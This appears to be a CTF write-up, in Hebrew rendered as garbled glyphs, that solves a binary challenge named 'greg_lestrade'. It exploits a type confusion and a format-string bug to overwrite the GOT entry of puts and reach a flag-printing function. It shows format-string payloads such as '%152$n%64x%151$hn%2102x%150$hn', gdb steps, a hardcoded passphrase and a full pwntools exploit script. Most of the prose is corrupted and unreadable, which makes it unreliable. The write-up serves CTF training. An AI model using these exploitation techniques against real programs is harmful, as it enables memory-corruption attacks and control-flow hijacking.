 ˢ˵˧ˡ˟ˢ˷ ˨˩ ,ˢˡˣ˵˲ˢ ˨˶ˣ˞ ˟ˣ˷˧˥ ˸˞ ˸ˣ˰˦ˢ˪ ˧ˢ˷˪˩ ˨˶ˡ ˷˧ ˫˞ˢ ˞ˣˢ ˵ˣˡ˟˪ ˧˸˧˴˶˷ ˞˟ˢ ˭ˣˣ˧˩ˢ

ˢ ˸˷˥˶˸ˬ ˣ˟ ˶ˣˤ˞ˢ ˞ˣˢ ˣ˟ ˪˧˥˸ˢ˪ ˟ˣ˦ ˫ˣ˵ˬ .˪˪˩ ˷˥˶˸˸ ˞˪ ˣ˞ ,ˢˡˣ˵˲ˢˬ ˫˧˵˪˥ ˪˰ ˠ˪ˡ˸ ˢ˵˧ˡ˟

 ˞ˣ˴ˬ˪ ˦ˣ˷˲ ˧ˡ ˢ˧ˢ ˭˩˞ˣ ,˞˪ ˣ˞ ˢ˧˴˶˦˧˞ ˡˣ˰˪ ˯ˮ˩˧ˢ˪ ˫˞ ˢ˦˪˥ˢˢ ˸˪˟˵˸ˬˣ ˫˧˧˵˸ˬ ˢ˞˪ˣ˪ˢ ˧˞ˮ˸˷

 ˠˣ˯ˬ ˧ˠˣ˪ ˠ˞˟ ˫˷type confusion: 

 

 ˭˧˟ ˢ˞ˣˣ˷ˢ ˸˷˥˶˸ˬcommand_length -  ˞ˣˢ˷DWORD ˭˧˟˪ ,al - ˢ ˪˷ ˨˶˰ˢ ˸˞ ˭˯˥˞ˬ˷-counter ,

˩ ˶ˡˠˣˬ ˢ˪˧˥˸˷-0 - ˧ˣˣ˷ˬ ,˶ˬˣ˪˩ .˸˧˟ ˞ˣˢ˷ ˪˷ ˭ˣ˸˥˸ˢ ˸˧˟ˢ ˸˞ ˵˶ ˫command_length ˪-

counterˢˬ ˪ˣˡˠ ˞˪ ˞ˣˢ ˫˞ˣ ,-counter ˠˣ˞ˡ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˢˬ ˪˩ ,˭˩˪ .ˢ˧˴˶˦˧˞ ˡˣ˰ ˪ˣ˥˸ ˞˪ ,

ˢ ˪˷ ˭ˣ˸˥˸ˢ ˸˧˟ˢ˷ ˨˩˪-counter ˪ ˢˣˣ˷ ˢ˧ˢ˧-0 ˸ˣ˪˵˟ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ .-  ˸ˤˣ˶˥ˬ ˸˥˧˪˷ ˧ˡ˧ ˪˰

 ˨˶ˣ˞˟0xfe -  ˢ˧˪˞ ˱˯ˣˣ˸˧˷ ˶˥˞˪Ψ\ƴΩ ˢ˧ˢ˧ ˢ˪˷ ˨˶ˣ˞ˢ ,0xff ˢ˧˪˞ ˱˯ˣˣ˸˧˷ ˶˥˞˪ˣ ,1 -  ˢ˷˰ˮ˷ ˧˲˩

 ˸˧ˮ˩˸˟-  ˢ˧ˢ˧ ˨˶ˣ˞ˢ0x100 ˢ˞˶ˮ ,ˣ˪˷ ˶˸ˣ˧˟ ˧˪˞ˬ˷ˢ ˸˧˟ˢ ˪˰ ˭ˮˣ˟˸ˮ˷˩ˣ ,0x00 .˫˧˧˵˸˧ ˧˞ˮ˸ˢˣ ,

:˫˧ˠˡˮ 
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˸˰˩ ˪˩˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ,ˢ˵˧ˡ˟ˢ ˪˰ ˶˟ˠ˸ˢ˪ ˨˶ˡ ˣˮ˞˴ˬ˷˩ ,format string  ˣ˪ ˱˧˯ˣˮ ˡˣ˰ ˪˩ ,ˢ˴˶ˮ˷

padding ˟ˢ˷ ˨˩ + ˣ˩˶ˣ˞ ˪˷ ˶˸ˣ˧˟ ˧˪˞ˬ˷ˢ ˸˧2 ˪ ˢˣˣ˷ ˢ˧ˢ˧-0. 

:ˢ˩ ˡ˰ ˣˮ˪ ˷˧˷ ˢˬ˟ ˭ˮˣ˟˸ˮ 

¶  ˸˷˪ˣ˥buffer overflow ˟-main. 

¶  ˸˞ ˸ˮ˯˥˞ˬ˷ ˸ˤˣ˶˥ˬ˪ ˣˮˮˣ˴˶ ˧˲ ˪˰ ˰ˡ˧ˬ ˱˧˯ˣˢ˪ ˣˮ˪ ˸˶˷˲˞ˬ˷ ˢˬ˯˧˯ˢ ˢ˵˧ˡ˟˟ ˸˧ˠˣ˪ ˢ˷˪ˣ˥

.˸˧ˮ˯˥ˬˢ ˪˰ ˸˟˷ˣ˧ˣ ˢˬ˯˧˯ˢ 

¶  ˟ˣ˸˩˪ ˸˪ˣ˩˧format string .ˣˮ˧˷˲ˮ ˸ˣˣ˞˩ 

,ˢˤ ˟˪˷˟ :˫ˡˣ˵ˢ ˟˪˷˟ ˣˮ˰˴˧˟˷ ˸ˣ˵˧ˡ˟ˢ ˭˸ˣ˞ ˸˞ ˰˴˟ˮ 

¶  ˸˥˸ ˧˶˞ˮ˧˟ˢ ˸˞ ˳˧˶ˮgdb ˵˶ ˫˧˪˰˲ˣˬ˷ ˢ˪ˠˮ .ˣ˪˷ ˢ˥˦˟˞ˢ ˸˞ ˵ˣˡ˟ˮ ,NX (DEP) x-canaries. 

¶ :ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞˴ˬˮ .˪ˠˡˢ ˸˞ ˠ˧˴˸ ˭ˢ˧˪˞ ˢ˞˧˶˵˷ ˧˶˞ˮ˧˟˟ ˸ˣ˧˴˵ˮˣ˲ ˷˲˥ˮ 

 

 ˸˟ˣ˸˩˪ ˳ˣ˲˵˪ ˸˧ˮ˩˸˪ ˫ˣ˶ˠ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˫˧˩˧˶˴ ˣˮ˞˷ ˣˮ˪ ˶ˣ˶˟ ˤ˞0x400876  ˢ˧˪˰ ˨ˬ˸˯ˢ˪ ˶˷˲˞)

 ˭˧˞˷ ˭ˣˣ˧˩ˬASLR ˸˷˪ˣ˥ ˫ˠ ˣˮ˪ ˷˧ ˟ˣ˷ˣ ,(buffer overflow  ˸˷˪ˣ˥ˣformat string  ,˫ˡˣ˵ˢ ˟˪˷˟ ˣˬ˩

ˢ ˸˷˪ˣ˥˪ ˢ˷˧ˠ ˣˮ˪ ˷˧ :ˢˮˣ˷ ˟˴ˬˢ ˭˩˷ ˞˪˞-buffer overflow ˮ˲˪ ˞˧ˢˣ ,˸˥˞ ˫˰˲ ˵˶ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˧

ˢ ˸˷˪ˣ˥ ˸˞ ˪˴ˮ˪-format stringˢ ˨˶˰ ˢˬ ˸˰ˡ˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞ ˶ˬˣ˪˩ ,-canary  ˫˧˪˴ˮˬ ˣˮ˞ ˶˷˞˩

ˢ ˸˷˪ˣ˥ ˸˞-buffer overflow.ˢˤˢ ˭ˣˣ˧˩ˢ ˪˰ ˶˸ˣˣˮ ˤ˞ , 

 ˟ˣ˸˩˪ ˸˪ˣ˩˧ˣ ˸˧ˮ˯˥ˬˢ ˪˰ ˰ˡ˧ˬ ˭˯˥˞˪ ˸˪ˣ˩˧ ˫˰ ˣˮ˶˞˷ˮformat string  ˢˤ ˸˞ ˨ˣ˲ˢˮ ˨˧˞ ,ˣˮ˸˶˧˥˟˪

˪˰ ˢ˦˧˪˷˪ flow  ˫˷˟ ˢˡˬ˥ˮ ˢ˦˧˷˟ ˷ˬ˸˷ˮ ?˸˧ˮ˩˸ˢGOT overwrite -  ˫˰˲ ˪˩˟˷ ˢˡ˟ˣ˰ˢ ˸˞ ˪˴ˮˮ

 ˣˬ˩ ,˸˧ˮˣ˴˧˥ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲˷printf˟ ˸˶ˤ˰ˮ ˞˧ˢ ,-GOT entry  ˪˷ ˧˦ˮˣ˪˶ˢprintf  ˪˧˟˷˟

 ˢ˲˧˞ ˸˰ˡ˪printf  ˪˰ ˦˪˸˷ˢ˪ ˪˩ˣˮ ˫˞˷ ˶ˬˣ˞ ˢˤ .˸˞˴ˬˮentry  ˸˧ˮ˩˸˪ ˫ˣ˶ˠ˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ,ˣˢ˷˪˩

 ˨˶˰ˢ ˸˞ ˣ˟ ˟˧˴ˢ˪ ˪˩ˣˮ ,ˣ˪ ˞ˣ˶˵˪0x400876 .˪ˠˡˢ ˸˞ ˠ˧˷ˢ˪ˣ ,(ˣˮ˪˷ "˭ˣ˥˴˧ˮ"ˢ ˸˧˧˴˵ˮˣ˲ ˪˷ ˸˟ˣ˸˩ˢ) 

˟ ˣˮ˪˩˸˯ˢ˷˩-main  ˢ˧˴˲ˣ˞˟ ˫˧˶˥ˣ˟ ˞˪ ˡˣ˰ ˪˩˷ ˸ˣ˞˶˪ ˢ˧ˢ ˭˸˧ˮ ,ˢ˪˥˸ˢ˟exit ˨˧˷ˬ˸ ˸˧ˮ˩˸ˢ ,

,˦˧˶˲˸ˢ ˸˞ ˯˧˲ˡˢ˪ ˸ˮˬ ˪˰ .˷ˡ˥ˬ ˫˰˲ ˪˩˟ ˦˧˶˲˸ˢ ˸˞ ˯˧˲ˡˢ˪ˣ ˭˧ˬˡ˞ˢˬ ˸ˣˡˣ˵˲ ˦ˣ˪˵˪  ˸˧ˮ˩˸ˢ

˟ ˸˷ˬ˸˷ˬ-puts˟˷ ˨˶˰ˢ ˸˞ ˯ˣ˶ˡ˪ ˪˩ˣˮ ˫˞˷ ˭˞˩ˬ .-GOT entry  ˪˷puts ˞ˣ˶˵˪ ˸˧ˮ˩˸˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ ,

˪ ˫ˣ˵ˬ˟ ˭ˣ˥˴˧ˮˢ ˸˧˧˴˵ˮˣ˲˪-puts ˢˡˣ˵˲ ˷˵˟˪ ˢ˴˶˸˷ ˢ˞˟ˢ ˫˰˲˟ ˦˧˶˲˸ˢ ˸˞ ˯˧˲ˡˢ˪ ˢ˴˶˸ ˶˷˞˩ ,

.˭˧ˬˡ˞ˢˬ 
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ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-GOT entry  ˪˷puts ˟ ˞˴ˬˮ-0x602020 ˭˧˞˷ ˭ˣˣ˧˩ˬ .ASLR ˣˮ˧˧ˢ ˫˞ˣ ,ˢ˰ˣ˟˵ ˣˤ ˸˟ˣ˸˩ ,

 ˨˶ˣ˞˟ ˰˧˟˴ˬ˩ ˰˧˲ˣ˸ ˞˧ˢ˷ ˶ˡ˯˪ ˫˧˪ˣ˩˧64 ˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ,˸˧ˮ˯˥ˬˢ ˪˰ ˦˧˟-%n  ˸ˮˬ ˪˰

.ˣ˩ˣ˸˪ ˫˧˧˸ˣ˶˧˶˷ ˫˧˩˶˰ ˫ˣ˷˶˪ 

 

ˢ ,ˣˮ˶˰˴˪-GOT entry  ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˢˬ ˪˩ !˸˧ˮ˯˥ˬ˟ ˸˞˴ˬˮ ˭˩ ˢˬ˯˧˯ˢ ˪˟˞ ,˸˧ˮ˯˥ˬ˟ ˰˧˲ˣˬ ˞˪

˟˸ˬˢ ˢˬ˯˧˯ˢ ˸˞ ˵˲˯˪ ˵˲˯˪ ,˸ˣˬ˧˞ ˶ˣ˟˰˪ ˸ˮˬ ˪˰ ˸˷˵padding  ˵˪˥˸˧ ˨˶ˣ˞ˢ˷ ˸ˮˬ ˪˰ ˫˧˞˸ˬ

-˟8˟ ˷ˬ˸˷ˮ ,˭˩ˬ ˶˥˞˪ .˯ˣ˶ˡ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˫ˣ˷˶˪ˣ ,-format string  ˫˧ˮ˧˧˴ˬ˟ˣ%x x-%n 

ˢ ˸˞ ˱˧˪˥ˢ˪ˣ ˯ˣ˶ˡ˪ ˪˩ˣˮ ˨˩ˣ ,"ˢˬ˯˧˯"ˢ ˸˶ˤ˰˟ ˸˧ˮ˯˥ˬˢ ˪˰ ˣˮˬ˷˶˷ ˸ˣ˟ˣ˸˩˪ ˟ˣ˸˩˪ ˸ˮˬ ˪˰-GOT 

entry  ˪˷puts x.˪ˠˡˢ ˸˞ ˠ˧˷ˢ˪ 

˪ ˶˧˴˵˸˟ ˣˮ˧˯˧˩ ˞˪˷ ˞˷ˣˮ-format string exploitation ) ˟˥ˣ˶ˢ ˸˞ ˭˧˧˴˪ ˢ˧˴˲ˣ˞ˢ ˞ˣˢwidth ˪˷ (

 ˭˯˥ˣ˞ˬ˷ ˰ˡ˧ˬˢ ˸˞ ˠ˧˴ˮ ˶˷˞˩ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˫˧ˣˣ˸ˢ ˶˲˯ˬ ˶ˬˣ˪˩ ,˫˧˴ˣ˶ ˣˮ˞˷ ˰ˡ˧ˬˢ

 :ˢˬˠˣˡ˪ ,˨˩ .˭˧˧˴ˬ˟%5x  ˯˧˲ˡ˧5 ˣ ,˨˯ˬ˪ ˫˧ˣˣ˸-%1337x  ˯˧˲ˡ˧1337 ˣ˸ ,˶ˣˬ˞˩ .˨˯ˬ˪ ˫˧ˣ%n  ˶ˬˣ˷

 ˨˩ ,ˣˬ˩ ˡ˰ ˨˯ˬ˪ ˣ˯˲ˡˣˢ˷ ˫˧ˣˣ˸ˢ ˶˲˯ˬ ˸˞ ˯˥˧˧˸ˬ ˭˧˧˴ˬˢ ˣ˧˪˞ ˦ˮˬˣˠ˶˞ˢ ˰˧˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˨ˣ˸˪

 ˱ˣ˶˧˴ˢ˷%5x%n  ˨˶˰ˢ ˸˞ ˟˧˴˧5 ˢ ˨ˣ˸˟-DWORD  ˧˷˧˪˷ˢ ˦ˮˬˣˠ˶˞ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˨˶˰ˢ ˪˷ ˭ˣ˸˥˸ˢ

ˢ ˶˷˞˩)-format string ˣ ,ˢ˧˴˵ˮˣ˲˪ ˶˟˰ˣˢ˷ (˭ˣ˷˞˶ˢ ˞ˣˢ-%n  ˟˧˴˧0  ˞˪˷ ˭ˣˣ˧˩ˬ) ˧ˮ˷ˢ ˦ˮˬˣˠ˶˞˟

 ˭˧˧˴ˬ˪ ˰˧ˠˢ ˦ˬ˶ˣ˲ˢ ˸˧˧˴˵ˮˣ˲˷ ˡ˰ ˣ˸ ˱˞ ˯˲ˡˣˢn ˭˧˧˴ˬ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ .(n  ˱ˣ˶˧˴ˢ :˸˥˞ ˫˰˲ˬ ˶˸ˣ˧

%5x%n%7x%n  ˟˧˴˧5 ˣ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˧˷˧˪˷ˢ ˦ˮˬˣˠ˶˞ˢ ˢˮ˲ˬ ˢ˧˪˞ ˸˟ˣ˸˩˟-12 ˷ ˭ˣˣ˧˩ˬ)-n  ˸˞ ˟˸ˣ˩

 ˟˧˴˧ ˞ˣˢ ˭˩˪ ,ˢ˩ ˡ˰ ˣ˯˲ˡˣˢ˷ ˫˧˸˟ˢ ˸ˣˬ˩5+7=12.ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˧˷˧ˬ˥ˢ ˦ˮˬˣˠ˶˞˟ ( 

˪ ˶˧˴˵˸˟ ˣˮ˧˧˴˷ ˧˲˩-format string exploitation ˭˧˧˴ˬˢ ˫˰ ˟ˣ˪˧˷˟ ˨˶ˣ˞ ˧ˮ˵˸ˬ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ,n .

ˢ ,˨˩ .˯˵ˡˮ˧˞ ˭ˣ˧˴ ˫˰ ˡ˥˧˟ ˸˞ˤ ˟˪˷˪ ˭˸˧ˮ˷ ˭˟ˣˬ˩-format string :˞˟ˢ 

%9$hhn%1337x%10$hn%4096x%11n 

:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟˧ 

¶  ˟˧˴˧0  ˸˧˟˟˷ ˭ˣˣ˧˩ˬ) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˧˰˧˷˸ˢ ˦ˮˬˣˠ˶˞ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˶˸ˣ˧˟ ˧˪˞ˬ˷ˢ-hh  ˭˧˧˴ˬ

.(˸˧˟ ˪˞˩ ˰ˡ˧ˬ˪ ˯˥˧˧˸ˢ˪ 

¶  ˟˧˴˧0x0539 ˟-WORD  ˣˮ˯˲ˡˢ˷ ˭ˣˣ˧˩ˬ) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˧˶˧˷˰ˢ ˦ˮˬˣˠ˶˞ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˭ˣ˸˥˸ˢ

1337=0x539 ˣ ˫˧˸˟-h  ˶ˬˣ˪˩ ,˫˧˸˟ ˧ˮ˷ ˪˞˩ ˰ˡ˧ˬˢ ˪˞ ˯˥˧˧˸ˢ˪ ˭˧˧˴ˬWORD.( 
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¶  ˟˧˴˧0x00001539 ˟-DWORD ˡ˥˞ˢ ˦ˮˬˣˠ˶˞ˢ ˰˧˟˴ˬ ˣ˧˪˞- ˣˮ˯˲ˡˢ˷ ˭ˣˣ˧˩ˬ) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˶˷˰

1337+4096=5433=0x1539 .(ˢ˩ ˡ˰ ˫˧˸˟ 

:˶ˣ˶˟ ˢ˞˶ˮ ˸˧ˮ˩˸ˢ ˸˞ ˪˴ˮ˪ ˸ˮˬ ˪˰ ˣˮ˪˷ ˢ˪ˣ˰˲ˢ ˪ˣ˪˯ˬ ,ˢ˸˰ 

¶ ˟ ˟ˣ˸˩˪ ˢ˴˶ˮ˷ ˫˧ˮˣ˷ˢ ˫˧˵˪˥ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˫ˣ˷˶˪ ˸ˮˬ ˪˰ ˢˬ˯˧˯ˢ ˸˵˧ˡ˟˟ ˠ˞˟ˢ ˸˞ ˪˴ˮˮ-

GOT entry  ˪˷puts ˪ ˫˧˦ˮˬˣˠ˶˞˩ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ˨˩ ,˸˧ˮ˯˥ˬ˪-printf  ˭˧˧˴ˬ˟ ˶ˤ˰˧ˢ˪ ˪˩ˣˮˣn 

˪ ˫ˣ˷˶˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˸˟ˣ˸˩ˢ ˸˞ ˪˴˲ˮ .˫ˢ˧˪˞ ˫˧˰˧˟˴ˬ ˫ˢ˷ ˫˧˩˶˰ˢ ˸˞ ˯ˣ˶ˡ˪ ˸ˮˬ ˪˰-3  :˫˧˵˪˥

 ˢˮˣ˸˥˸ˢ ˢ˪˧ˬˢ- 0x0876 ˢˮˣ˸˥˸˪ ˸ˬˡˣ˵ˢ ˢ˪˧ˬˢ ,- 0x0040ˢˣ ,-DWORD  ˭ˣ˧˪˰ˢ- 

0x00000000˸ˮˬ ˪˰ .  ˨˶˰ˢ ˭˯˥ˣ˞ˬ ˢ˟ ˸˟ˣ˸˩ˢ ˸˞ ˫ˠ ˪˴˲ˮ ,˫˧˵˪˥ˢ ˪˩ ˪˷ ˢ˟˧˸˩ˢ ˸˞ ˶˷˲˞˪

ˢ ˪˷-GOT entry  ˪˷puts  ˢˮˣ˸˥˸ˢ ˢ˪˧ˬˢ :˫˞˸ˢ˟ ,˫˧˵˪˥ ˢ˷ˣ˪˷˪- 0x602020 ˢ˪˧ˬˢ ,

 ˢ˪ ˸ˬˡˣ˵ˢ- 0x602022ˢˣ ,-DWORD  ˭ˣ˧˪˰ˢ- 0x602024 ˨ˣ˸˟ ˫˵ˬˮ ˣ˪˪ˢ ˫˧˩˶˰ˢ ˪˩ ˸˞ .

 ˨˶ˣ˞˟ ˫˧˰˧˟˴ˬ˩ ˸˧ˮ˯˥ˬˢ64-.˦˧˟ 

¶  ˶ˣ˴˧ˮformat string  ˸ˣ˯˥˧˧˸ˢ ˨ˣ˸ ,˸ˣˬ˧˞˸ˬˢ ˸ˣ˟ˣ˸˩˪ ˫˧ˬ˧˞˸ˬˢ ˫˧˩˶˰ˢ ˸˞ ˟˸ˣ˩˷

 ˫˧˴ˣ˶ ˣˮ˞˷ ˫˧˩˶˰ˢ ˶ˡ˯ ˧˲ ˪˰ ˰˴˟˸˧˷ ˨˩ ˢ˟˧˸˩ˢ ˶ˡ˯ ˸˞ ˭ˠ˶˞˪ ˟ˣ˷˥ .˫˧ˬ˧˞˸ˬˢ ˫˧˦ˮˬˣˠ˶˞˪

 ˭˧˧˴ˬˢ ,˫˰˲ ˪˩˟˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,˸ˣ˟ˣ˸˩ˢ ˶ˡ˯ ˧˲ ˪˰ ˞˪ˣ ,˟ˣ˸˩˪n  ˸ˣ˥˲ˢ ˪˩˪ ˞ˣˢ˷ ˨˶˰ ˟ˣ˸˩˧

˲˟ ˟˸˩ˮ˷ ˨˶˰˪ ˢˢˤ.˷ˣˬ˧˷˟ ˢ˧ˢ ˭˧˧˴ˬˢ˷ ˸ˬˡˣ˵ˢ ˫˰ 

¶ ˪ ˱˧˯ˣˮ-format string ) ˡˣ˲˧˶padding ˧˞ˮ˸ˢ ˸˞ ˫˧˧˵˧˷ ˨˩ ˵˲˯ˬ (byte(strlen(format_string) + 

2 ) == 0 .ˢˡˣ˵˲ˢ ˪˰ ˸ˣ˰˴˟˸ˬ˷ ˸ˣ˵˧ˡ˟ˢ ˸˞ ˱ˣ˵˰˪ ˸ˮˬ ˪˰ 

 ˡ˥˞ ˶˰˲ ˫˰ ˣˮ˶˸ˣˮ- ˪ ˯˥˧˟ ˣˮ˪˷ ˫˧˦ˮˬˣˠ˶˞ˢ ˫˧˟˷ˣ˧ ˢ˲˧˞-rsp ˪ ˢ˞˧˶˵ˢ ˸˰˟-printf ˣ˲˟ ˢ˧˴˵ˮ

ˢ ˪˰ ˸ˣ˩ˬ˸˯ˢ ˧ˡ˧ ˪˰ ,˧˦˦˯ ˭˲ˣ˞˟ ˧˯˥˧ˢ ˫ˣ˵˧ˬˢ ˸˞ ˟˷˥˪ ˭˸˧ˮ ?˭˧ˬˡ˞ ˸ˣˡˣ˵˲˟ ˸˪˲˦ˬˢ-

disassembly  ˸˞ ˳˧˶ˮ ˭˩˪ ,ˢ˴˧˶ ˭ˬˤ˟ ˢˤ ˸˞ ˰˴˟˪ ˦ˣ˷˲ ˶˸ˣ˧ ˨˞ ,(ˢ˲˧˴˶ ˸˧ˮ˯˥ˬˢ˷ ˭ˣˣ˧˩ˬ) ˡ˟˪˟

 ˸˥˸ ˧˶˞ˮ˧˟ˢgdb  ˸˴˶ˢ ˸˶ˤ˰˟gdb -q ./greg_lestrade ˫˵ˬˮ ,˭˩ˬ ˶˥˞˪ .breakpoint  ˢ˟˷ ˢˡˣ˵ˮ˟

˪ ˸˞˶ˣ˵ ˭˧ˬˡ˞ ˸ˣˡˣ˵˲˟ ˸˪˲˦ˬ˷ ˢ˧˴˵ˮˣ˲ˢ-printf  ˸˶ˤ˰˟break *0x400a0c ˸˶ˤ˰˟ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ .

r:ˢˬ˯˧˯ ˶ˣ˸˟ ˞˟ˢ ˦˪˵ˢ ˸˞ ˢ˪ ˵˲˯ˮˣ , 

7h15_15_v3ry_53cr37_1_7h1nkAAAAABBBBBBBB  

˟ ˷ˣˬ˧˷ˢ ˶˷˞˩-AAAAA ˪ˣ˲˩˪ ˢˬ˯˧˯ˢ ˪˷ "˭˧˧ˮ˰ˬ ˞˪"ˢ ˵˪˥ˢ ˨˶ˣ˞ ˸˞ ˶˷˧˧˪ ˸ˮˬ ˪˰ ˞ˣˢ ˪˷ ˢ8 

˟ ˣˮ˪˷ ˸ˣ˧˶˪ˣˮ˶ˠˢ)-64 ˣ ,(˦˧˟-BBBBBBBB .˭ˣ˶˩˧ˤ˟ ˞ˣ˴ˬ˪ ˪˵ ˣˮ˪ ˢ˧ˢ˧˷ ˸ˤˣ˶˥ˬ ˭˯˥˞˪ ˸ˮˬ ˪˰ ˷ˬ˷ˬ 

 ˰˧˟˴ˬ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ,˸˰˩rsp  ˢˡˣ˵˲ˢ ˸˶ˤ˰˟i r rsp ˪˷ ˫ˣ˵˧ˬˢ ˸˞ ˞˴ˬˮ ˭˩ˣ ,BBBBBBBB 

 ˢˡˣ˵˲ˢ ˸˶ˤ˰˟find BBB . 
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 ˭˧˟ ˥ˣˣ˶ˬˢ ˸˞ ˪˟˵ˮˣ ˸ˣ˟ˣ˸˩ˢ ˭˧˟ ˶˯˥ˮrsp ˸˪ ,ˢˬ˯˧˯ˢ ˧˟ˠ ˪˰ ˭ˣ˶˩˧ˤ˪ "ˣˮ˵˶ˤˢ"˷ ˫˧˦ˮˬˣˠ˶˞ˢ ˸˪˧˥

˟ ˵˪˥ˮ-8  ˱˧˯ˣˮˣ5  ˡˣ˰ ˷˧˷ ˪˪ˠ˟)5  ˪˥ˢ˷ ˦ˮˬˣˠ˶˞ˢ ˫ˣ˵˧ˬ ˸˞ ˪˟˵ˮˣ (˫˧˦ˮˬˣˠ˶˞ ˫˧ˮ˯˥˞ˬ˷ ˫˧˶ˠˣ˞

:ˣˮˤˢ˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ˣˮˬˬ 

 

ˢ ˦ˮˬˣˠ˶˞ˢˬ ˪˥ˢ ˸ˣ˞˴ˬˮ ˣˮ˪˷ ˸ˣ˟ˣ˸˩ˢ˷ ˣˮ˞˴ˬ-150 ˪-printf ˸ˣ˟ˣ˸˩ˢ ˪˩ ˸˞ ˫ˣ˷˶ˮ˷ ˢ˥ˮˢ˟ .

˪ ˶˧˟˰ˢ˪ ˣˮˮˣ˴˶˟˷-printf ˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ,(˞˪˷ ˢ˟˧˯ ˭˧˞ˣ) ˟˵ˣ˰ ˭˲ˣ˞˟-format string  ˸ˮˬ ˪˰ ˞˟ˢ

ˢ ˧˟ˠ ˪˰ ˣˮ˪˷ ˭ˣ˥˴˧ˮˢ ˸˧˧˴˵ˮˣ˲ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˫ˣ˷˶˪-GOT entry  ˪˷puts: 

%152$n%64x%151$hn%2102x%150$hn 
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ˢ ˸˞ ˟ˣ˸˩˪ ˞ˣˢ ˸ˣ˷˰˪ ˶˸ˣˮ˷ ˪˩-exploit :ˣˮ˪˷ 

from pwn import *  

 

context.update( arch ='amd64' )  

r = process( "./greg_lestrade" )  

 

e = ELF( "./greg_lestrade" )  

 

r.recvuntil( "Credential" )  

 

passphrase = "7h15_15_v3ry_53cr37_1_7h1nk"  

padded_passpharse = passphrase + "AAAAA"  

 

r.sendline(padded_passpharse + p64(e.got[ 'puts' ]) + p64(e.got[ 'puts' ] + 2) + 

p64(e.got[ 'puts' ] + 4))  

r.recvuntil( "admin action" )  

 

r.sendline( "1" )  

r.recvuntil( "command :" )  

 

format_string = "%152$n%64x%151$hn%2102x%150$hn"  

format_string = format_string + " - " * ( 254 -  len (format_string))  # Add padding  

r.sendline(format_string)  

 

r.interactive()  

:˪ˠˡˢ ˸˞ ˪˟˵ˮˣ ˳˧˶ˮ 

 

 ˶ˠ˸˞ˢ ˸˞ ˣˮˬ˧˧˯ˣJ  ˪˷ ˥ˣ˩ˢ ˪˰ ˶˸ˣ˧ ˣ˪˧˲˞ ˣˮˡˬ˪format strings ˪˟˞ ,˨˷ˬˢ˟ ˣ˧˪˰ ˡˣˬ˪˪ ˨˧˷ˬˮˣ ,

˶˸ˣ˧ ˶˩ˣˬˣ ˧˯˞˪˵ ˣˢ˷ˬ ˣˮ˪ ˢ˲˴ˬ ˞˟ˢ ˶ˠ˸˞˟... 
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Mrs. Hudson 

 ˟˩˶ˣˬ ˢ˞˶ˮ ˞˪ ˧˶˞ˮ˧˟ˢ .˧˥˦˷ ˭˲ˣ˞˟ ˣ˸ˣ˞ ˭˥˟ˮ ˣˮ˧ˠˢˮˬ˩ˣ ,˞˟ˢ ˶ˠ˸˞ˢ ˸˞ ˡ˧˶ˣˮ-  ˣˢ˷˪˩ ˦˪˲ ˯˲ˡˣˬ

˪ ˫˧˩˥ˬ ˭˩ˬ ˶˥˞˪ˣ-input ˢ ˸˪˟˵ ˶˥˞˪ ,˷ˬ˸˷ˬˢˬ-input  ˣˮ˞˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ .˸˶ˠ˯ˮ ˸˧ˮ˩˸ˢ

:˸˞ˤ ˢ˯ˮˮ .ˢˮˣ˷ˬ ˸ˣˠˢˮ˸ˢ˪ ˫ˣ˶ˠ˪ ˪ˣ˩˧ ˨ˣ˶˞ ˦˪˵ ˫˞ˢ ˞ˣˢ ˢˤ˩ ˟˴ˬ˟ ˵ˣˡ˟˪ ˫˧˴ˣ˶ 

 

Segmentation fault ˢ˟ˣ˦ ˢ˪˥˸ˢ ˶˟˩ ,J  ˭˞˩ ˰˴˟˪ ˪˩ˣˮ˷ ˢ˞˶ˮ˩buffer overflow  ˸ˣ˦˪˸˷ˢ˪ ˪˧˟ˣ˧˷

ˢ ˪˰-flow .ˡˣ˵ ˸˴˶ˢ˪ ˣ˪˧˲˞ ˧˪ˣ˞ˣ ˸˧ˮ˩˸ˢ ˪˷ 

